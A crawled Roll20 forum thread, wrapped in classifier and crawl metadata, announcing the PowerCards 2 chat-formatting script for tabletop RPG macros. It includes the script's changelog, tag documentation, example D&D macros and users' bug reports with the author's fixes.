"code": "005.456",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "5",
"label": "Exceptionally Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-5,249,830,040,165,957,000 |
Advertisement Create a free account
This post has been closed. You can still view previous posts, but you can't post any new replies.
[Script] PowerCards 2
1420028762
Edited 1427525971
Sky
Pro
Update: March 28th, 2015 ~ 2:50 am eastern Version: 2.4.11 Script Link: gist.github.com/Sky-Captain-13/452330a3d926b32da49c Update: Replaced target_info parsing logic with TheAaron's replacement. No change to macros needed. Update: Thanks to TheAaron, you can now format powercard macros on separate lines instead of as one long line, as shown below: !power --tokenid|@{selected|token_id} --emote|Pikkle unleashes a blast of eldritch energy. --format|atwill --name|Eldritch Blast --title|Components: V, S ^^ Duration: Instantaneous ^^ Eldritch Blast creates additional beams at 5th, 11th, and 17th level. You can direct all the beams on the same target or at different ones. Make a separate attack roll for each beam. --leftsub|Standard Action --rightsub|Range 120 ft. --Attack:|[[ 1d20cs>2 + 4 [Cha Mod] + 2 [Proficiency] ]] | [[ 1d20 + 4 [Cha Mod] + 2 [Proficiency] ]] vs AC --Hit:|[[ [NH] 1d10 ]] force damage and the target is pushed up to 10 ft away --?{Hit delete to show hex damage|$}Hex:|[[1d6]] necrotic damage --Critical Hit:| --!Crit1|^* **+** [[1d10]] force damage --?{Hit delete to show hex damage|$}!HexCrit|^* **+** [[1d6]] necrotic damage ... becomes ... !power {{ --tokenid|@{selected|token_id} --emote|Pikkle unleashes a blast of eldritch energy. --format|atwill --name|Eldritch Blast --title|Components: V, S ^^ Duration: Instantaneous ^^ Eldritch Blast creates additional beams at 5th, 11th, and 17th level. You can direct all the beams on the same target or at different ones. Make a separate attack roll for each beam. --leftsub|Standard Action --rightsub|Range 120 ft. --Attack:|[[ 1d20cs>2 + 4 [Cha Mod] + 2 [Proficiency] ]] | [[ 1d20 + 4 [Cha Mod] + 2 [Proficiency] ]] vs AC --Hit:|[[ [NH] 1d10 ]] force damage and the target is pushed up to 10 ft away --?{Hit delete to show hex damage|$}Hex:|[[1d6]] necrotic damage --Critical Hit:| --!Crit1|^* **+** [[1d10]] force damage --?{Hit delete to show hex damage|$}!HexCrit|^* **+** [[1d6]] necrotic damage }} Minor Update: March 18th, 2015 ~ 10:45 am eastern Version: 2.4.9 Script Link: gist.github.com/Sky-Captain-13/452330a3d926b32da49c Minor Update: Added %%who%% per yet another request from GenKitty, use this charm to add the player's display name to a powercard. Example: [Ready Check](!power --name|%%who%% is ready! --corners|0) If you just want to add this to your existing install, replace Line 48 with the following: var n = msg.content.replace("%%who%%", player_obj.get("displayname")).split(" --"); Bugfix & Update: March 16th, 2015 ~ 11:15 am eastern Version: 2.4.8 Script Link: gist.github.com/Sky-Captain-13/452330a3d926b32da49c Bugfix: The undefined emote bug crept back in again... it is fixed... again. Bugfix: Timestamps are turned off by default now. Set USE_TIMESTAMPS to true to turn them back on. Update: Added logic to show/hide the entire tag and contents of a tag by adding or removing a $ (dollar sign) in front of the tag. I am sure there are bugs that will arise from this... and will try to fix them quickly --?{Hit delete to show hex damage|$}Hex:|[[1d6]] necrotic damage The above tag would pop up a roll query to the player that asks them to hit delete to show the hex damage. Otherwise they can just hit enter and the powercard will completely ignore that tag and its content. Bugfix & Update: March 15th, 2015 ~ 4:00 pm eastern Version: 2.4.7 Script Link: gist.github.com/Sky-Captain-13/452330a3d926b32da49c Bugfix: XPND will no longer crash when you use multiple dice in a roll and will not crash if a character sheet uses floor() or ceil() in an auto-calculated formula. You still will need to add [XPND] in front of each die in an inline roll to prevent formatting issues. Bad Usage: [[ [XPND] 1d6 + 1d6 ]] Good Usage: [[ [XPND] 1d6 + [XPND] 1d6 ]] Update: Added timestamps. Set USE_TIMESTAMPS to true to turn them on. Bugfix & Update: March 13th, 2015 ~ 9:00 pm eastern Version: 2.4.6 Script Link: gist.github.com/Sky-Captain-13/452330a3d926b32da49c Bugfix: XPND works with multi-dice rolls now, however... formatting on die rolls after the first is buggy. Will fix that later. Minor Update: PowerCards now shows version and update info with a timestamp on the API Output Console when it loads. Minor Update: Added the following inline formatting tags... ]_[ inserts a horizontal rule ~L aligns text left ( Example: ~L Left aligned text. ~L) ~C aligns text centrally ( Example: ~C Centered text. ~C) ~R aligns text right ( Example: ~R Right aligned text. ~R) Power Cards 2 What are they? They are simply macro's formatted using --tags that are interpreted by the script to apply html and css to contents of the macro. This string is then sent to the chat window via the API using /direct to allow the html and css formatting to work. What this script is not! This is not a script meant to automate combat in any kind of game. It is simply a way to format the output of a macro in a more aesthetically pleasing manner and to facilitate multiple attack rolls within the same macro to reduce screen clutter. This has the benefit of reducing the spam in the chat window (while admittedly creating a new kind of spam) and reduces the number of macros needed. This script can turn this... ... or this ... ... into this! Using the Script Note: You must be a mentor level subscriber to Roll20 to utilize API scripts. Step 1: Copy the script into the API section of your campaign and save it. Step 2: Create macros/abilities for your monsters, characters, magic items, or whatever else you want to use it for. D&D 4e Example: !power --emote|HoneyBadger resorts to the simple attack he learned when he first picked up a weapon. --format|atwill --name|Melee Basic Attack --leftsub|At-Will --rightsub|Standard Action --Attack|[[1d20 + 4 [Strength Mod] + 3 [Longsword Prof.]]] vs AC --Hit|[[1d8 + 4 [Strength Mod]]] slashing damage D&D 5e Example: !power --emote|HoneyBadger slashes at his foe with a longsword. --format|atwill --name|Melee Attack --leftsub|Action --rightsub|Reach 5 ft. --Attack|[[1d20 + 3 [Strength Mod] + 2 [Proficiency]]] | [[1d20 + 3 [Strength Mod] + 2 [Proficiency]]] vs AC --Hit|[[1d8 + 3 [Strength Mod]]] slashing damage The above macros show up as the following... Using Tags Tags are used to tell the script how to identify the Content that follows and help tell the script what to do in some cases. For example, the --name| tag is used to set the name at the top of the power card. Tag Format Examples: GOOD: --Tag|Content GOOD: --Effect|This is an effect. GOOD: --A Custom Tag|This is a custom tag. BAD: effect | This is a bad tag. BAD: -BadTag| This is also a bad tag. Tag Options: These are used to further customize the appearance and features of the power cards. Hidden : Adding an exclamation mark ! at the start of a tag will hide that tag and not display it in the power card, but it will show the contents of the tag in the power card. This is useful for adding blocks of text without a tag. Example: --!Tag|Content Indent: Adding a caret mark ^ followed by a number will indent that entire line and its contents slightly. The indentation option ranges from a minimum of zero (used to reset the indent to default) to a maximum of nine, though at nine, you will not have very much room for content at all. Example: --^1Tag|Content The indent tag option can be used in conjunctions with the hidden tag option, but the exclamation mark must be first. Example: --!^1Tag|Content Repeat: To repeat a tag and its contents, add a hash mark followed by the number of times you want the content to repeat. You can also use roll queries to add a pop-up in roll20 to determine the number of times to repeat the tag when you click the macro (see second example). Example: Tag#4|Content Example: Attack#?{Number of attacks|1}|[[1d20+4]] Same Name: This tag option is used to enable the use tags with the same name. Unlike repeating tags, the content is unique to each tag of the same name. To use this tag, add an asterisk * followed by a number (cannot use the same numbers). Example: Tag *1|Content Example: Tag *2|Content Reserved Tags: These tags are reserved for specific use by the script and cannot be used for anything else. charid - Gets the character_id of the character triggering the macro. Combines with --emote to create a custom look to emotes. Usage: --charid|@{character_id} emote - Creates an emote on top of the power card. Set CUSTOM_EMOTES to false in script to return to standard Roll20 orange emotes. If you have charid and emote together in the macro to use the power card styled emotes, you can put an exclamation mark in front of the emote to not show the avatar for that macro. Example: --emote|This emote would have an avatar. Example: --emote|!This emote would not have an avatar. format - An option for GM's to make setting text and background colors easier. See the Format Tag section below for more detailed information. Example: --format|atwill Example: --format|encounter name - The name of the power, skill, ability, etc. being used or whatever else you can think of. Appears at the very top of the card. title - Sets a tooltip on the colored title box. Useful for hiding information that would otherwise clutter the chat window. leftsub - Creates a smaller subtitle beneath the name of the power card, left of the diamond if used in conjunction with rightsub. rightsub - Creates a smaller subtitle beneath the name of the power card, right of the diamond if used in conjunction with leftsub. txcolor - Sets the color of the text in the title box using hex code (#000000). bgcolor - Sets the background color of the title box using hex code (#000000). erowtx - Sets the text color of even numbered rows in the body of the power card using hex code (#000000). erowbg - Sets the background color of even numbered rows in the body of the power card using hex code (#000000). orowtx - Sets the text color of odd numbered rows in the body of the power card using hex code (#000000). orowbg - Sets the background color of odd numbered rows in the body of the power card using hex code (#000000). whisper - Sends the title box and body of the power card to the designated target. For example --whisper|GM would send the power card to the GM. target_list - Creates a list of targets in conjunction with multiple uses of the @{target|Nth Target|token_id} roll query for each possible target. Example: --target_list|@{target|1st Target|token_id} | @{target|2nd Target|token_id} | @{target|3rd Target|token_id} A method for replacing text in the powercard with information from the target_list objects will be added later. titlefont - Sets the font of the title of the power card. subtitlefont - Sets the font of the subtitles beneath the title of the power card. bodyfont - Sets the font of the body of the power card. Word of caution, this absolutely will alter the font of the inline rolls as well. corners - Defaults to 5... set to 0 to remove rounded corners or higher to round them even more. titlefontsize - Sets the size of the name of the powercard subtitlefontsize - Sets the size of the text of leftsub and rightsub bodyfontsize - Sets the size of the text in the body of the powercard border - Can be used to set the size style color of borders using this format: --border|1px solid #000 tokenid - This tag lets you use the token image instead of character avatar for custom emotes. Must be used with either: @{selected|token_id} @{target|self|token_id} Inline Roll Options: The first three options have been deprecated and removed. Do not use them. They do nothing. Use the actual crit success and crit failure options built into Roll20 now: [[1d4cs>3]] highlights green if equal to or greater than three. [[1d4cf<2]] highlights in red if less than or equal to two. These default roll options can be combined and are entirely compatible with powercards. High Roll [HR#]: Highlights in green, any roll greater than or equal to the number in the brackets. Low Roll [LR#]: Highlights in red, any roll less than or equal to the number in the brackets. Combined Rolls [CR#|#]: Combines the two options to do both variable low and high rolls in the same roll. The first number is the low roll and the second is the high roll. [NH] - Disables inline roll highlighting for crit success and crit failure. [XPND] - (EXPERIMENTAL) This buggy inline roll option expands the roll into the full formula instead of just the result. [[1d20 + @{Dex Mod}]] becomes [(18) + 3 = 21] instead of [21] Text Formatting: You can use the options below to format text in the content of a tag. These can be combined in any number of ways. **Bold** //Italics// __Underline__ ~L, ~C, ~R aligns text in between those tags to the (L)eft, (C)enter, and (R)ight. ~L This text would be left aligned. ~L ~C This text would be centered. ~C ~R This text would be right aligned. ~R ]_[ inserts a horizontal rule. ^*Indents the first line of a paragraph in the content of a tag. @@ <a href="http://www.roll20.net@@" rel="nofollow">www.roll20.net@@</a> - Naked url, requires that ALLOW_URLS to be set to true in the script. @@ <a href="http://www.roll20.net||Roll20@@" rel="nofollow">www.roll20.net||Roll20@@</a> - Hidden url, requires that ALLOW_HIDDEN_URLS to be set to true in the script. @@url||text@@ <-- Must have double bars in between the url and the text. In order to prevent issues with the italics text formatting and urls, do not add http:// to the front of your urls. The script will do this when the macro is run in Roll20. $$#400|This text will be in dark red.$$ The Format Tag The --format tag is one of the more heavily revamped tags in the 2.0 version of power cards. Instead of specifying a game system as it did in the past, it instead can be used to specify the text and background colors of the macro in one tag. The GM of the campaign must create a handout and name it exactly PowerCard Formats so that the script can find the information and parse the formatting info as needed. You absolutely must follow the format shown in the example below to get the --format tag to work properly. This image is an example of the D&D 4e power usage colors. I recommend setting this handout as viewable by all players so that they can see what options are available for them to use in their own power card macros. Target Info Charms This new feature lets you grab info from a character sheet or token by using --target_list|@{target|1st Target|token_id} | @{target|2nd Target|token_id} | etc to create the list of targets and then adding target info charms into the content of your powercard such as %%token_name%% to get the name of the token. The types of charms are broken down into two categories: token charms and attribute charms. Token charms area set list that grab information like bar values and the name of the token. Attribute charms can be any attribute on a character sheet and they are case sensitive. AC is not the same as aC, Ac, or ac. Finally... and this is very important ...all charms referring to a target must be in the same tag. You cannot have charms split between tags. If you want to create a kind of stat sheet, use line breaks ^^ to create new lines. Good Examples !power --name|Single Target Attack --target_list|@{target| |token_id} --Attack|[[1d20+5]] | [[1d20+5]] vs %%AC%% Armor Class (%%token_name%%) --Hit|[[1d8+3]] slashing damage !power --name|Scorching Burst | Nine Targets --target_list|@{target|1st|token_id} | @{target|2nd|token_id} | @{target|3rd|token_id} | @{target|4th|token_id} | @{target|5th|token_id} | @{target|6th|token_id} | @{target|7th|token_id} | @{target|8th|token_id} | @{target|9th|token_id} --Attack#?{Number of targets|1}|[[1d20+5]] vs %%Reflex%% Reflex (%%token_name%%) --Hit|[[1d8+3]] fire damage For a multi-attack power like Scorching Burst in D&D 4e, you create the macro as above and just click nine times and then when the pop up for number of targets appears, type in the actual number of targets in the area and hit enter. The script will ignore the rest of the targets in the list. For example, in the snip below... I clicked nine tokens pretty quickly. Only the first four mattered since those were my actual targets. Then I typed in the number of targets and hit enter when the pop up appeared. !power --name|Stats --target_list|@{target|1st Target|token_id} --Target|%%token_name%% ^^ **Hit Points:** %%bar3%%/%%bar3_max%% ^^ **Defenses:** AC %%AC%%, Fort %%Fortitude%%, Reflex %%Reflex%%, Will %%Will%% Bad Example !power --name|Bad Example --target_list|@{target| |token_id} --Target|%%token_name%% --Attack|[[1d20+5]] | [[1d20+5]] vs %%AC%% Armor Class --Hit|[[1d8+3]] slashing damage to %%token_name%% In the example above, the %%AC%% and second %%token_name%% charms would not be replaced with the proper info. Token Charms %%token_name%% %%bar1%% %%bar1_max%% %%bar2%% %%bar2_max%% %%bar3%% %%bar3_max%% Sample Attribute Charms %%Strength%% %%Strength Mod%% %%Fortitude% %%Reflex%% %%Will%% %%HP%% %%Hit Points%% Contributors The following members of the Roll20 community have greatly aided with the creation and enhancement of this script either through their scripting expertise or their suggestions to improve features of the script and their relentless bug hunts! Alex L. Brian Chris N. Rob J. The Aaron GenKitty Sean G.
1420033542
The Aaron
Forum Champion
API Scripter
Fun! Can't wait to try it out!
1420039269
Brian
Sheet Author
API Scripter
Your description of the formatting makes me want Markdown syntax. (Or a variant of it, since standard Markdown only has "emphasis" and "strong", not "italics", "bold" and "underline".)
1420048840
Gen Kitty
Forum Champion
Initial reactions I test this.... SQUEE! I have a contributor credit!!! Nothing blew up in copying it over, that's a good sign. What are hidden tags used for? Why can't I hide the emote line? No variation on using ! is letting me hide the emote line, which is going to be a problem. I'm sure I'm just doing it wrong :> What happened to square-cornered cards? --format works! Yay! This will make my life so much easier ! --format is case sensitive, which makes sense, and I can define terms other than the 4e reserved words, which is awesome ! Now, the big test: The new multiattack code.... Ok, this is great! This solves all my pathfinder issues. But for my 4e game, we need to go deeper... --Target N| [[1d20 + 7 ]] vs [[@{target|Foe N|Fort}]] @{target|Foe N|token_name} That's a typical line from one of my multi-attack macros, stripped of attribute calls. I need to be able to pull data from the targets beyond their names in order for my macros to work. Closing thoughts: There's font settings buried in your code that it would be nice if they could be grouped with your other user-config options. I generally go in and change the fonts every time I update this script, and I can't be the only one who does so :> All in all, this is a fantastic update. I deeply appreciate how much work you, and others, put into coding for roll20 users.
1420049435
Brian
Sheet Author
API Scripter
GenKitty said: What are hidden tags used for? I would expect something to the effect of --?{Hidden|!}Optional Tag|Lorem ipsum dolor sit amet . You'd then be able to turn the "Optional Tag" row on or off each time you ran the macro.
1420050318
Edited 1420050423
Sky
Pro
GenKitty - 1. Hidden tags... they are just that. Not visible, but the content is shown. It is useful for putting in large blocks of text, like for a 3rd edition Dispel Magic. Though Brian's idea has merit as an additional feature. 2. Hiding emotes... don't put the emote in the macro? I'm not sure I get what you're attempting with this. 3. Repeating Tags... I knew you were gonna ask for this. I am planning on expanding the --targets tag with some method of getting information from token_id/character_id, but that opens up a big mess of having to do a lot of error checks to make sure everything exists. 4. Fonts and square corners will return. I wanted to slim the script with less configuration options up front and only add back the ones that really matter.
1420050436
Gen Kitty
Forum Champion
Hiding emotes: If I don't have an emote tag defined, I get an 'undefined' emote text, and no variation on hiding that tag seems to work. Now that I see what hidden tags are for, it makes sense that I couldn't 'hide' the emote. x.x
1420050537
Edited 1420050698
Sky
Pro
Ah... I may have left out the empty emote tag error check by accident. Let me check. edit - Yup, that's a bug. I will have to fix that later though. I have to replace my shower handle and the cartridge inside today and get ready for some New Year's Eve board gaming with some friends. If I can squeak in some coding time in the next three and a half hours, I will try and get it fixed quickly.
1420050723
Gen Kitty
Forum Champion
Also, in terms of error-checking, while a little is nice I'm also used to my macros silently failing in the most delightfully obscure ways if I ask for an undefined attribute. :>
1420050780
Gen Kitty
Forum Champion
Take your time fixing, I can work around the bug or use the older variant of the code. My next game isn't until the 4th. Happy Holidays!
I can't seem to get URLs working and the example usage for Hidden URLs seems incorrect in that it is missing a | symbol: @@ <a href="http://ww.roll20.net|Roll20@@" rel="nofollow">http://ww.roll20.net|Roll20@@</a> - Hidden url, requires that ALLOW_HIDDEN_URLS to be set to true in the script
1420055691
This is great! Of course I built an entire character sheet already that used the old power cards script, so I probably won't make use of this until my next campaign, but I like the improvements.
1420056391
Edited 1420057024
Sky
Pro
Michael said: I can't seem to get URLs working and the example usage for Hidden URLs seems incorrect in that it is missing a | symbol: @@ <a href="http://ww.roll20.net|Roll20@@" rel="nofollow">http://ww.roll20.net|Roll20@@</a> - Hidden url, requires that ALLOW_HIDDEN_URLS to be set to true in the script That would be my fault in the example above. It should be || not | to separate the url and text. My bad. Ok, just tested urls and they aren't working. Which is weird. I didn't change anything with urls at all. edit - And found the culprit. When I changed italics to // it is changing the double-slash in urls to <i>. Not sure how to fix this yet, as it involves regex and I am a hack at that.
1420059181
Edited 1420197669
Sky
Pro
Bugfix: Dec 31st, 2014 ~ 3:45 pm eastern Version updated to 2.0.1 To use URL's in a powercard, you must leave off the http:// part of the link and the script will prepend it onto the url when the macro is used in Roll20. This is a workaround to avoid the issue with the // double slash being changed to an italics html element. Powercards without emotes will now work properly and will not send an undefined string to the chat window.
1420059300
Vince
Pro
Sheet Author
I knew there was a reason I waited to update my scripts. Thanks HB and good luck with your shower...
1420059755
Sky
Pro
Vince said: I knew there was a reason I waited to update my scripts. Thanks HB and good luck with your shower... Thanks. We decided to leave it off 'til tomorrow, rather than spoil things for today. It's not leaking and we used a vice grip to turn the water on/off for showers. ^_^
1420094071
Vince
Pro
Sheet Author
Tried a little test run with 2.0.1 and I'm getting an error on a macro that works fine with the old version of powercard. When running Token Action: !power --name|@{character_name}'s Fortitude Save --Fortitude|[[1d20 + @{Fort}]] --Save Notes|@{Save-notes} --Resistances|@{resistances} --Immunities|@{immunities} --Spell Resistance|@{SR} --whisper| I get an error in console {"who":"error","type":"error","content":"Unable to find a player or character with name: "} If I remove "--whisper|" it works fine. This is happening to my other scripts with --whisper| as well. This is on the Dev
1420097682
Edited 1420097705
Sky
Pro
Your whisper tag is blank. You need to put @{character_name} there or GM or a roll query to fill in that spot. I altered how whisper works so you can send the card to anyone. Before, it was just the GM and self.
1420101379
Vince
Pro
Sheet Author
Got it. I've been using a script that generated my token actions and it just used a blank whisper. ;-( Thanks HB Happy New Year!!!
1420105387
Vince
Pro
Sheet Author
Going out on a limb here... I know I can't be the only person using blank whisper tags... or am I? How difficult is it to have a blank --whisper| tag default to the GM? Just curious. I only ask since I have a crap-ton of powercard macros that have just that and I think my modded PF sheet and my "powercard token action generator" script has blank whisper's as well. :-(
1420118170
Edited 1420120685
Sky
Pro
Part of this update was to get away from blank tags, so that when you looked at a tag and its content... you knew what it did without having to reference this thread for the most part. If you want to retain the old functionality of blank whisper tags, just add this at Line 174/175: if (PowerCard.whisper === "") PowerCard.whisper = "GM";
1420126921
Edited 1420127115
Gen Kitty
Forum Champion
This is yet another reason to use notepad++ for writing your macros. Massive search&replace makes updating --whisp| to --whisp|GM much easier! :> I do feel your pain -- I'm responsible for the macros for all five of the players in my 4e game, and I have a crapton of updating to do: fixing whisper tags for some skills, getting the rest of the hidden skills to be actually, y'know, hidden like I wanted from the start, and updating everything to use the new --format tags. Once variable multi-attacks is polished, that'll be another round of updates. But they're updates I'm happy to do :>
1420127512
Sky
Pro
GenKitty/Vince... I think I saw someone that had created an import/export of macros. This plus your search/replace options in an editor of choice would cut some of the pain.
1420131275
Edited 1420131351
Gen Kitty
Forum Champion
Bug?: Specifying a bgcolor without a txcolor results in the bgcolor not being used. Also: Specifying a txcolor without a bgcolor results in the txcolor not being used.
1420132155
Sky
Pro
Can't think of any reason to not use one without the other.
1420132661
Edited 1420132680
Vince
Pro
Sheet Author
I might add/alter your code for now and make the proper changes for all future macros to fall in-line with the new and improved powercard. Thanks HB. Much appreciated.
1420132705
Gen Kitty
Forum Champion
In V1 I was using the default title color and just changing the background color as needed. I guess I'll just have to embrace the new --format paradigm. :> Also for your todo list: When you expand the user-configurable script options (at the start of the script) , allow GMs to define whether ^^ is two BRs or one. I keep tweaking your script to make it one BR. (I also noticed you've made the title and card fonts match now! That's another thing I was always changing, so yay :> )
1420133236
Edited 1420133674
Sky
Pro
GenKitty said: In V1 I was using the default title color and just changing the background color as needed. I guess I'll just have to embrace the new --format paradigm. :> Also for your todo list: When you expand the user-configurable script options (at the start of the script) , allow GMs to define whether ^^ is two BRs or one. I keep tweaking your script to make it one BR. (I also noticed you've made the title and card fonts match now! That's another thing I was always changing, so yay :> ) Eh? I didn't touch the fonts... they should still be as they were. I should be able to add a # option to ^^ so that you can use ^^1 and so on instead. I will look at adding a sanity check to using bgcolor without txcolor.
1420133627
Gen Kitty
Forum Champion
The card title was previously Georgia, with the rest of the card being Tahoma. Now you use Tahoma for the whole card. :>
1420133918
Sky
Pro
GenKitty said: The card title was previously Georgia, with the rest of the card being Tahoma. Now you use Tahoma for the whole card. :> It is still set as Georgia.
1420134344
Gen Kitty
Forum Champion
Ok, NVM, I must have made the change without remembering it. Carry on!
1420136404
Sky
Pro
Bleh. I am so dumb... I should have just made the format tag use the same tag|content structure in the handout too. It would solve many problems and make it much easier. However, it's a big change and would make anyone already using --format handouts have to re-do them. So should I? Instead of: atwill: #FFF #000 It would be: atwill: --txcolor|#FFF --bgcolor|#000 The benefit would be that the handout wouldn't be reliant on putting the information in a specific order. And make it even easier to add more formatting options like --titlefont|fontname --subtitlefont|fontname... Would anyone be totally put out if I made that change?
1420136692
Gen Kitty
Forum Champion
Bug: --emote does not display if --whisp is used.
1420136757
Gen Kitty
Forum Champion
I won't be put out if you make the change today, since I am just now starting to revamp my macros :>
1420137661
Edited 1420138876
Gen Kitty
Forum Champion
Bug: using --emote without --charid results in roll20 style emotes, regardless of script settings. Supressing the avatar gets powercard style emotes. Addendum: !power --name|Testing Emotes --emote|!Test --!L1|Roll20 style Emotes results in 'Test t' appearing in the emote section, instead of 'Test' x.x Addendum the second: Further testing shows that the above macro will double the last letter of the first word of the emote contents, unless there's punctuation. Test=test t One=One e Now?=Now w? Ok, now this script is just trolling me! I took away the --!L1 tag, for less spam in my chat window and it started working properly! I put it back and then Test=Test Now?=Now ? And then it abruptly started working perfectly. *shiftyeyes*
1420159603
Sky
Pro
GenKitty said: I won't be put out if you make the change today, since I am just now starting to revamp my macros :> Gonna make that change then here in a little bit.
1420168647
Edited 1420168718
HoneyBadger Wrote: GenKitty/Vince... I think I saw someone that had created an import/export of macros. This plus your search/replace options in an editor of choice would cut some of the pain. Has anyone found one of these? I am looking for something like this.
1420175922
Vince
Pro
Sheet Author
Hi Thomas. I've opted to fix some of my macros by hand. I've already fixed my PF sheet and the script I use to create "powercarded" token action macros. I'll probably delete those macros and create new ones with the script.
1420192404
Sky
Pro
Working on updating the --format tag to the new method. Sorry for the delay. I fell asleep very early last night.
1420196702
Edited 1420197261
Sky
Pro
GenKitty said: Bug: using --emote without --charid results in roll20 style emotes, regardless of script settings. Supressing the avatar gets powercard style emotes. Addendum: !power --name|Testing Emotes --emote|!Test --!L1|Roll20 style Emotes results in 'Test t' appearing in the emote section, instead of 'Test' x.x Addendum the second: Further testing shows that the above macro will double the last letter of the first word of the emote contents, unless there's punctuation. Test=test t One=One e Now?=Now w? Ok, now this script is just trolling me! I took away the --!L1 tag, for less spam in my chat window and it started working properly! I put it back and then Test=Test Now?=Now ? And then it abruptly started working perfectly. *shiftyeyes* Just fyi, the --emote|!This is an emote option is only intended to hide the chat avatar in custom emotes. It isn't intended to actually do anything otherwise. The letter doubling issue is a Roll20 "bug" with the /emas command. /emas uses the first word as the "name" of the person being emoted. This means you can't use any punctuation in the emote for some reason. It follows a noticeable pattern though regardless of whether there is a space in between the punctuation and the first word. /emas ! Test > Test t /emas !! Test > Test st /emas !!! Test > Test est /emas !!!! Test > Test Test /emas !!!!! Test > Test ! Test
1420196924
Edited 1420196938
Sky
Pro
GenKitty said: Bug: --emote does not display if --whisp is used. Fixed in the next update. And the tag is --whisper... it shouldn't be working if you only use --whisp.
1420198247
Edited 1420221449
Sky
Pro
Updates & Bugfixes: Jan 2nd, 2014 ~ 6:30 am eastern Version: 2.1.1 Update: The --format tag now uses tags to determine settings instead of a set number of options in a specific order. For example, instead of using atwill: #FFF #040 to set the text and background color of the title to white/green, you will now use atwill: --txcolor|#FFF --bgcolor|#040 . The example and format tag section in the original post will be updated shortly to reflect this change. Available Tags: --txcolor, --bgcolor, --erowtx, --erowbg, --orowtx, --orowbg, --titlefont, --subtitlefont, --bodyfont BAD: atwill: #FFF #040 GOOD: atwill: --txcolor|#FFF --bgcolor|#040 Update: Fonts are now settable as tags or as default variables within the script itself. The new tags are as follows... --titlefont --subtitlefont --bodyfont Just fyi... changing the font of the body of the powercard will change the font of the inline rolls as well. Minor Update: ROUNDED_CORNERS is back as a settable variable in the script. Set to 0 to remove rounded corners. It defaults to 5. Minor Update: The line break inline text formatting ^^ does only one <br> now. If you want to have a full line of space between paragraphs, simply use two sets of line breaks ^^^^ like that. Bugfix: If an emote is set in a macro, it will now be sent to chat regardless of any other options, such as sending the powercard as a whisper to another player or the GM. Bugfix: Blank whisper tags will no longer error out and will instead default to the GM. This 'feature' should not be relied upon. Empty tags are no longer used to set options in powercards. Bugfix: Using --txcolor or --bgcolor without the other no longer causes the one used to not apply.
1420202148
Gen Kitty
Forum Champion
Woo! And don't feel bad about sleeping and stuff. RL comes before hobbies! Yes, I know its --whisper, the cards are correct even when I munge it on the forums ^_^ The update looks good, I'll poke at it this evening.
1420203084
Sky
Pro
Goofing around with some options...
1420203132
Gen Kitty
Forum Champion
How the heck did you do that? x.x
1420203231
Sky
Pro
Little bit of css called position: absolute on the image.
1420203396
Sky
Pro
Ya know, if I had some good quality images of the 4e attack symbols... they could be used in these macros.
1420204915
Edited 1420205414
Sky
Pro
Bleh... --targets isn't working quite right. Also, I may need to change the name from targets to target_list to avoid screwing people over that just want to use a Targets tag and not use the target replacement feature. edit - And fixed. I will push a small bugfix out here shortly. This however is just a temporary fix until I figure out how to work in getting target information from attributes easily.
hmm, emote with whisper is breaking the css slightly
1420208838
Gen Kitty
Forum Champion
HB, you wonderful fellow, you put all the fonts in one place for me to edit :> Here, have cookies!
1420210499
Sky
Pro
Zepth said: hmm, emote with whisper is breaking the css slightly Yeah, I just found that out when tinkering around with GenKitty's campaign. Got distracted and will be fixing the targeting and whisper/emote issues soon.
|
{
"url": "https://app.roll20.net/forum/post/1463736/script-powercards-2",
"source_domain": "app.roll20.net",
"snapshot_id": "crawl=CC-MAIN-2020-05",
"warc_metadata": {
"Content-Length": "188919",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:QDUGRTRAA3HCZ3DKF4YJW3LCGX6EG6WS",
"WARC-Concurrent-To": "<urn:uuid:211da169-5bb4-4eeb-aa08-1e9269803b0e>",
"WARC-Date": "2020-01-22T06:35:40Z",
"WARC-IP-Address": "104.20.240.7",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:7SGDOYNHY3OTKZLO5JAB52DLUAJLFEDG",
"WARC-Record-ID": "<urn:uuid:e981c73d-f83a-4b93-af67-75f2c518a859>",
"WARC-Target-URI": "https://app.roll20.net/forum/post/1463736/script-powercards-2",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:5ee244d3-e98a-4c5f-b233-ec33867ce1d3>"
},
"warc_info": "isPartOf: CC-MAIN-2020-05\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-62.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
36,
134,
135,
157,
158,
169,
170,
188,
192,
196,
17445,
17456,
17466,
17481,
17494,
17525,
17536,
17542,
17555,
17568,
17753,
17764,
17774,
17789,
19138,
19149,
19155,
19168,
19181,
19413,
19424,
19425,
19443,
19447,
19451,
20215,
20226,
20236,
20251,
20482,
20493,
20494,
20512,
20516,
20520,
20914,
20925,
